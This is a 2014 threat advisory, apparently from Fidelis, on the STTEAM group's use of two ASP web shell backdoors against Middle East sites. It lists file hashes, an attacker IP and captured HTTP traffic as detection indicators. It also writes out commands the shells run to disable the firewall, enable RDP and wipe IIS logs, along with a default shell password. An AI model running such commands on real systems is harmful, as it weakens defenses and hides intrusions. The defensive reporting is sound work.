### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 ``` Fidelis Threat Advisory #1012 Gathering in the Middle East, Operation STTEAM February 23, 2014 Document Status: 1.0 Last Revised: 2014-02-24 Executive Summary #### In the past week, we have observed an increase attack activity against the Oil & Gas industry in the Middle East by a group of threat actors using the following handle: “STTEAM”. The group has also been observed attacking and compromising state government websites in the same area. This group has compromised web pages from various organizations in the Middle East and have added some specific strings. We are providing those strings to local authorities to assist in identifying victim organizations. Some of the compromised servers will display the following screen when accessed: ``` Users are granted permission to copy and/or distribute this document in its original electronic form and print copies for personal use. This document cannot be modified or converted to any other electronic or machine-readable form in whole or in part without prior written approval of Fidelis Security Systems, Inc. While we have done our best to ensure that the material found in this document is accurate, Fidelis Security Systems, Inc. makes no guarantee that the information contained herein is error free. Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev. 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 #### Once the websites are compromised, the group has been observed uploading two ASP Shell Backdoors. One of these ASP Shell Backdoors contains words in Turkish and appears to have been developed by someone going by the following handle: ## zehir (zehirhacker@hotmail.com) #### This backdoor lets the attacker obtain system information, connect to SQL databases, list tables and execute commands, browse directories, perform file manipulations (upload, download, copy, delete, modify, searches, etc.), and perform folder manipulations (delete, copy, etc.). The other ASP Shell Backdoor appears to be known as “K-Shell/ ZHC Shell 1.0 / Aspx Shell” and developed by two persons going by the handles of: XXx_Death_xXX and ZHC (stylish_boy6@yahoo.com / ZCompany Hacking Crew • hxxp://www.zone-hack[dot]com/) This backdoor contains most of the same features in the “Zehir4” backdoor, but it adds functionality to add a user to the system, add a user to the administrator’s group, disable the windows firewall, enable RDP, delete IIS logs, and start the netcat utility as a reverse backdoor shell. We observed an attacker, with following IP address, trying to upload these backdoors into a victim system: “46.165.220.223”. This document will provide information about these two ASP Shell Backdoors used by the threat actors in a recent incident. The information will provide functionality and network indicators. ``` Threat Overview The “Zehir ASP Shell” and “K-Shell/ZHC Shell 1.0/Aspx Shell” backdoors used by the “STTEAM” are powerful scripts that will pose a critical threat to the victim network. We will start this section by providing information about the “Zehir ASP Shell” and “K-Shell/ZHC Shell 1.0/Aspx Shell” backdoors. The next section (Indicators & Mitigation Strategies) will provide network traffic indicators. The "zehir4.asp" ASP Shell backdoor (MD5: 5b496a61363d304532bcf52ee21f5d55) is the one that contains words in Turkish. The script lets the attacker: - Obtain system information - Connect to SQL databases - List tables and execute commands - Browse directories - Perform file manipulations (upload, download, copy, delete, modify, searches, etc.) - Perform folder manipulations (delete, copy, etc.) The script was found in Virustotal: - https://www.virustotal.com/en/file/b57bf397984545f419045391b56dcaf7b0bed8b6ee331b5c44ce e35c92ffa13d/analysis/ ``` Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 Filename zehir4.asp MD5 5b496a61363d304532bcf52ee21f5d55 SHA-1 1d9b78b5b14b821139541cc0deb4cbbd994ce157 SHA-256 b57bf397984545f419045391b56dcaf7b0bed8b6ee331b5c46cee35c92ffa13d ssdeep 1536:A/iE9zi3StXe2KkfZA1Me8phDFVGu22x5fZ0:qzI+XrO1MTphDFVGu2kR0 Size 50.2 KB (51405 bytes) Type Text Magic ISO-8859 English text, with very long lines, with CRLF line terminators TrID HyperText Markup Language (100.0%) First submission 2006-12-21 19:09:51 UTC ( 7 years, 2 months ago )35 / 48 Last submission 2013-08-01 11:20:54 UTC ( 6 months, 2 weeks ago ) #### Various versions of this script were also found in Pastebin: - Posted on 16-SEP-2013 hxxp://pastebin[dot]com/eMjgsLA5 - Posted on: 28-JAN-2011 hxxp://pastebin[dot]com/dRvNbLb5 - Posted on: 5-FEB-2010 hxxp://pastebin[dot]com/m44e60e60 Information about this and other web shell backdoors was found here: - hxxp://www.turkhackteam[dot]net Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 |Col1|+1800| |---|---| |Filename|zehir4.asp| |MD5|5b496a61363d304532bcf52ee21f5d55| |SHA-1|1d9b78b5b14b821139541cc0deb4cbbd994ce157| |SHA-256|b57bf397984545f419045391b56dcaf7b0bed8b6ee331b5c46cee35c92ffa13d| |ssdeep|1536:A/iE9zi3StXe2KkfZA1Me8phDFVGu22x5fZ0:qzI+XrO1MTphDFVGu2kR0| |Size|50.2 KB (51405 bytes)| |Type|Text| |Magic|ISO-8859 English text, with very long lines, with CRLF line terminators| |TrID|HyperText Markup Language (100.0%)| |First submission|2006-12-21 19:09:51 UTC ( 7 years, 2 months ago )35 / 48| |Last submission|2013-08-01 11:20:54 UTC ( 6 months, 2 weeks ago )| ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 #### The following is going to be a set of screenshots of the backdoor interface: - Window displayed when the script when it is first accessed (From this window, the attacker can edit, delete, copy, and download files. The attacker can also browse, delete or move folders) #### - Window displayed when the “System Info” option is selected (This window provides the attacker with the victim system’s information) Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 #### - Window displayed when the “System Test” option is selected - Window displayed when the “Sites Test” option is selected - Window displayed when the “Folder Action” option is selected Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 #### - Window displayed when the “SQL Server” option is selected - Window displayed when the “POWERED BY” option is selected Now, we will provide information about the “K-Shell/ZHC Shell 1.0/Aspx Shell” backdoor. The "K-Shell/ZHC Shell 1.0/Aspx Shell" ASP Shell backdoor (MD5: 99c056056df9104fc547d9d274bbc8a2) lets the attacker: - Obtain system information - Connect to SQL databases - List tables and execute commands - Browse directories - Perform file manipulations (upload, download, copy, delete, modify, searches, etc.) - Perform folder manipulations (delete, copy, etc.) - Add a user to the system - Add a user to the administrator’s group - Disable the windows firewall - Enable RDP - Delete IIS logs - Start the netcat utility as a reverse backdoor shell Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 #### - Obtain reverse shell capabilities through the interface The script was found in Virustotal: - https://www.virustotal.com/en/file/cc608a7103d320eff5e02a220b309df948df60efd177c9a670f186d42 48f7e42/analysis/1392942504/ Filename ZHC_Shell_1.0.aspx MD5 99c056056df9104fc547d9d274bbc8a2 SHA-1 917f80730fcd158a5203c37a289bd7542670dd50 SHA-256 cc608a7103d320eff5e02a220b309df948df60efd177c9a670f186d4248f7e42 768:zeRDcOFZ4r1UFT0KHtecv7kpEwa2IiFJPGOut3/Rj0Dkb/+zH:aRDcOw5URx ssdeep EcvY1a2IiFZGOut3/Rj0D7 Size 36.9 KB (37770 bytes) Type Java Magic ASCII Java program text, with very long lines TrID file seems to be plain text/ASCII (0.0%) Detection ratio 12/50 First submission 2014-02-21 00:28:24 UTC ( 2 minutes ago ) Last submission 2014-02-21 00:28:24 UTC ( 2 minutes ago ) #### The script was also found in Pastebin: - Posted on 17-MAR-2013 hxxp://pastebin.com/XAG1Hnfd The following is going to be a set of screenshots of the backdoor interface. Through these screenshots, you will observe how like all good developers, the author of this backdoor tries to make it as easy as possible for the attacker to perform certain actions in the victim system: - Window displayed when the script when it is first accessed Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 |Filename|ZHC_Shell_1.0.aspx| |---|---| |MD5|99c056056df9104fc547d9d274bbc8a2| |SHA-1|917f80730fcd158a5203c37a289bd7542670dd50| |SHA-256|cc608a7103d320eff5e02a220b309df948df60efd177c9a670f186d4248f7e42| |ssdeep|768:zeRDcOFZ4r1UFT0KHtecv7kpEwa2IiFJPGOut3/Rj0Dkb/+zH:aRDcOw5URx EcvY1a2IiFZGOut3/Rj0D7| |Size|36.9 KB (37770 bytes)| |Type|Java| |Magic|ASCII Java program text, with very long lines| |TrID|file seems to be plain text/ASCII (0.0%)| |Detection ratio|12/50| |First submission|2014-02-21 00:28:24 UTC ( 2 minutes ago )| |Last submission|2014-02-21 00:28:24 UTC ( 2 minutes ago )| ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 #### When the default password is entered (XXx_Death_xXX), the following window is displayed: Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 #### - Window displayed when the “SQL Command” option is selected (This window allows the attacker to connect to the database and send commands) Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 #### - Window displayed when the “Command Line” option is selected and the following is type: “dir c:\inetpub\wwwroot\”: (This window allows the attacker to obtain a reverse shell like capability) #### - Window displayed when the “System Information” option is selected Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 **_removed_by_analyst_** #### - Window displayed when the “Add User” option is selected - Window displayed when the “Add User To Administrators Group” option is selected Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 **_removed_by_analyst_** ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 #### - Window displayed when the “Disable Windows Firewall” option is selected (Command to be executed in the victim system: “reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v EnableFirewall /t REG_DWORD /d 0x0 /f”) #### - Window displayed when the “Enable RDP” option is selected Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 (Command to be executed in the victim system: “reg add hklm\system\currentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0x0 /f”) #### - Window displayed when the “Wipe IIS Logs” option is selected (Command to be executed in the victim system: “del C:\WINDOWS\system32\LogFiles\W3SVC1\*.log”) #### - Window displayed when the “Start NC” (netcat) option is selected (To start the “netcat” utility as a reverse backdoor shell) Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 ``` Risk Assessment #### A backdoor is a method of bypassing normal authentication procedures. Once a system has been compromised, the attacker may install one or more backdoors. These backdoors provide a persistent foothold; allowing easier access in the future. This particular backdoor, lets the attacker obtain system information, connect to SQL databases, list tables and execute commands, browse directories, perform file manipulations (upload, download, copy, delete, modify, searches, etc.), and perform folder manipulations (delete, copy, etc.). Indicators and Mitigation Strategies The following will present some of the network traffic observed when different options were selected from the ASP Shell Backdoors. These artifacts will hopefully assist the network defenders and the research community with generation of network signatures to detect this threat. ASP Shell Backdoor: ZEHIR4.ASP - Backdoor script first accessed ``` GET /zehir4.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive **_---- RESPONSE ----_** HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Sun, 23 Feb 2014 04:56:13 GMT X-Powered-By: ASP.NET Content-Length: 11480 Content-Type: text/html Set-Cookie: ASPSESSIONIDSSCDSDDD=JIKFODEDDBNCNBBCNLEIDBNF; path=/ Cache-control: private zehir3 --> powered by zehir <zehirhacker@hotmail.com>
System Info | System Test | Sites Test | Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 Folder Action | SQL Server | POWERED BY #### - System Test GET /zehir4.asp?mevla=1&status=40 HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDSSCDSDDD=JIKFODEDDBNCNBBCNLEIDBNF **_---- RESPONSE ----_** HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Sun, 23 Feb 2014 05:11:56 GMT X-Powered-By: ASP.NET Content-Length: 1284 Content-Type: text/html Cache-control: private zehir3 --> powered by zehir <zehirhacker@hotmail.com>
KonumSonu.
C:\yazma yetkisi yok! : [Object required]
Local Path yazma yetkisi yok! : [Object required]
Local Path
Parent Folder		Folder : 5
File : 0
Local Path
P.Parent Folder		Folder : 11
File : 10
Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 #### - SQL Server GET /zehir4.asp?mevla=1&status=15 HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDSSCDSDDD=JIKFODEDDBNCNBBCNLEIDBNF **_---- RESPONSE ----_** HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Sun, 23 Feb 2014 05:18:07 GMT X-Powered-By: ASP.NET Content-Length: 1169 Content-Type: text/html Cache-control: private zehir3 --> powered by zehir <zehirhacker@hotmail.com>
SQL Server i.in connection string giriniz

Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 #### Network traffic observed when the following fake connection string is written in the box and the button is pressed: “Server=myServerName\myInstanceName;Database=myDataBase;User Id=myUsername; Password=myPassword;” GET /zehir4.asp?status=7&Time=12%3A18%3A07+AM&path=Server%3DmyServerName%5CmyInsta nceName%3BDatabase%3DmyDataBase%3BUser+Id%3DmyUsername%3B&submit1=SQL+Serv era+Ba%F0lan HTTP/1.1 Accept: */* Referer: http://192.168.1.1/zehir4.asp?mevla=1&status=15 Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDSSCDSDDD=JIKFODEDDBNCNBBCNLEIDBNF #### - A file named “TEST_FILE.txt” is open for edit GET /zehir4.asp?status=10&dPath=C:\Inetpub\wwwroot\TEST_FILE.txt&path=c:\inetpub\wwwroot\&Ti **me=10:26:25%20AM HTTP/1.1** Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/zehir4.asp Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDQQQDQQRR=NNJJONABAFAKHJEDJMMCNDBI **_---- RESPONSE ----_** HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 15:26:52 GMT X-Powered-By: ASP.NET Content-Length: 3901 Content-Type: text/html Cache-control: private zehir3 --> powered by zehir <zehirhacker@hotmail.com>
System Info | Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 System Test | Sites Test | Folder Action | SQL Server | POWERED BY ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------
Path :


.var dosyaPath = "zehir4.asp" ..// DRIVE ISLEMLERI ..function driveGo(drive_){ ...location = dosyaPath+"?status=1&path="+drive_+"&Time="+Date(); ..} . .
S.r.c.ler
;Floppy [A:]
;HardDisk [C:]
;CD-Rom [D:]
H Local Path

#### When the following data is added to the “TEST_FILE.txt” file opened for edit: “Hacked by STTEAM” **POST /zehir4.asp?Time=11:19:52%20AM HTTP/1.1** Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/zehir4.asp?status=10&dPath=C:\Inetpub\wwwroot\TEST_FILE.txt&path=c:\inetp ub\wwwroot\&Time=11:19:41 AM Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Content-Length: 175 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDCSDRBCRC=OJOLKHLBCKEJIMJFNOHPPGKM **_---- RESPONSE ----_** HTTP/1.1 100 Continue Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 16:20:07 GMT X-Powered-By: ASP.NET **status=11&dPath=C%3A%5CInetpub%5Cwwwroot%5CTEST_FILE.txt&Path=c%3A%5Cinetpub%** 5Cwwwroot%5C&dkayit=THIS+IS+THE+CONTENT+OF+THE+%22TEST_FILE.TXT%22.%0D%0 A%0D%0AHacked+by+STTEAM%21 #### - A file named “TEST_FILE.txt” is open for edit GET /zehir4.asp?status=3&Path=c:\inetpub\wwwroot\&Del=c:\inetpub\wwwroot\/TEST_FILE.txt&Time=11:19:41%2 0AM HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-msapplication, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.msexcel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/zehir4.asp Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDCSDRBCRC=OJOLKHLBCKEJIMJFNOHPPGKM **_---- RESPONSE ----_** HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 16:26:10 GMT X-Powered-By: ASP.NET Location: zehir4.asp?status=2&path=c:\inetpub\wwwroot\&Time=11:26:10%20AM&byMsg=File% 20Deleted%20Successful;)
Content-Length: 121 Content-Type: text/html Cache-control: private Object moved

Object Moved

This object may be found here. **_---- REQUEST ----_** GET /zehir4.asp?status=2&path=c:\inetpub\wwwroot\&Time=11:26:10%20AM&byMsg=File Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 %20Deleted%20Successful;)
HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-msapplication, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.msexcel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/zehir4.asp Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDCSDRBCRC=OJOLKHLBCKEJIMJFNOHPPGKM **_---- RESPONSE ----_** HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 16:26:10 GMT X-Powered-By: ASP.NET Content-Length: 13634 Content-Type: text/html Cache-control: private File Deleted Successful;)
zehir3 --> powered by zehir <zehirhacker@hotmail.com> ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- #### K-Shell/ZHC Shell 1.0/Aspx Shell Backdoor: ZHC_Shell_1.0.aspx - Backdoor script is first accessed GET /ZHC_Shell_1.0.aspx HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive **_---- RESPONSE ----_** HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 16:47:52 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 3387 Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020


Aspx Shell By XXx_Death_xXX & ZHC

[ Command Prompt ]

(Note: Please CLICK "RUN" in order to execute the command)

Command:

.

ZHC Shell 1.0 • 2011
By XXx_Death_xXX Of ZCompany Hacking Crew • zone-hack.com #ZHC

 **_---- REQUEST ----_** **POST /ZHC_Shell_1.0.aspx?action=cmd3 HTTP/1.1** Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?action=cmd3 Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 Host: 192.168.1.1 Content-Length: 408 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTEzODY2ODE5 NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkGAEFHl9fQ29udHJv bHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQxOZXdEaXJlY3RvcnkFDE5ld0Rpcm VjdG9yeVsWlNx5Na0HFMN2RRO%2BceR1t%2BaS&cmd3=del+C%3A%5CWINDOWS%5Csyst **em32%5CLogFiles%5CW3SVC1%5C*.log&Button12345=Run&__EVENTVALIDATION=%2FwE** WAwLrm6SaCAKzmb3RBgKQ2MH4A3%2BQhRm9X8qGmlKZOcwCozua3cwJ #### - “Edit” option selected to modify the contents of a file Filename: TEST_FILE.TXT Data added: “Hacked by STTEAM!” GET /ZHC_Shell_1.0.aspx?action=edit&src=c%3a%5cinetpub%5cwwwroot%5cTEST_FILE.TXT HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe **_---- RESPONSE ----_** HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 21:09:48 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 3555 Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020


Aspx Shell By XXx_Death_xXX & ZHC
Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020
**
Path *
Content
.

ZHC Shell 1.0 • 2011
Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 By XXx_Death_xXX Of ZCompany Hacking Crew • zone-hack.com #ZHC

 **_---- REQUEST ----_** **POST /ZHC_Shell_1.0.aspx?action=edit&src=c%3a%5cinetpub%5cwwwroot%5cTEST_FILE.TXT** HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?action=edit&src=c%3a%5cinetpub%5cwwwroot%5cTEST _FILE.TXT Accept-Language: en-us Content-Type: multipart/form-data; boundary=---------------------------7de26c3b270192 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Content-Length: 1096 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe ---------------------------------------- TRUNCATED BY ANALYST ------------------------------------------------- -----------------------------7de26c3b270192 Content-Disposition: form-data; name="__EVENTTARGET" -----------------------------7de26c3b270192 Content-Disposition: form-data; name="__EVENTARGUMENT" -----------------------------7de26c3b270192 Content-Disposition: form-data; name="__VIEWSTATE" /wEPDwULLTEzODY2ODE5NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLW RhdGFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQxOZXd EaXJlY3RvcnkFDE5ld0RpcmVjdG9yeVsWlNx5Na0HFMN2RRO+ceR1t+aS -----------------------------7de26c3b270192 Content-Disposition: form-data; name="filepath" c:\inetpub\wwwroot\TEST_FILE.TXT -----------------------------7de26c3b270192 Content-Disposition: form-data; name="content" DATA IN "TEST_FILE.TXT". **Hacked by STTEAM!** -----------------------------7de26c3b270192 Content-Disposition: form-data; name="a" Copyright © 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 ----- ### . de ssecu ty.co www.threatgeek.com @FidSecSys +1800.652.4020 Sumbit -----------------------------7de26c3b270192 Content-Disposition: form-data; name="__EVENTVALIDATION" /wEWBALrm6SaCAKwgsKBDALW4bf/BAK/76ruDDFHkmmcWzwDRZCn6yFg1uYyRvu7 -----------------------------7de26c3b270192- **_---- RESPONSE ----_** HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 21:09:59 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 3749


---------------------------------------- TRUNCATED BY ANALYST ------------------------------------------------- Aspx Shell By XXx_Death_xXX & ZHC
**
Path *
Content
.

ZHC Shell 1.0 • 2011
By XXx_Death_xXX Of ZCompany Hacking Crew • zone-hack.com #ZHC

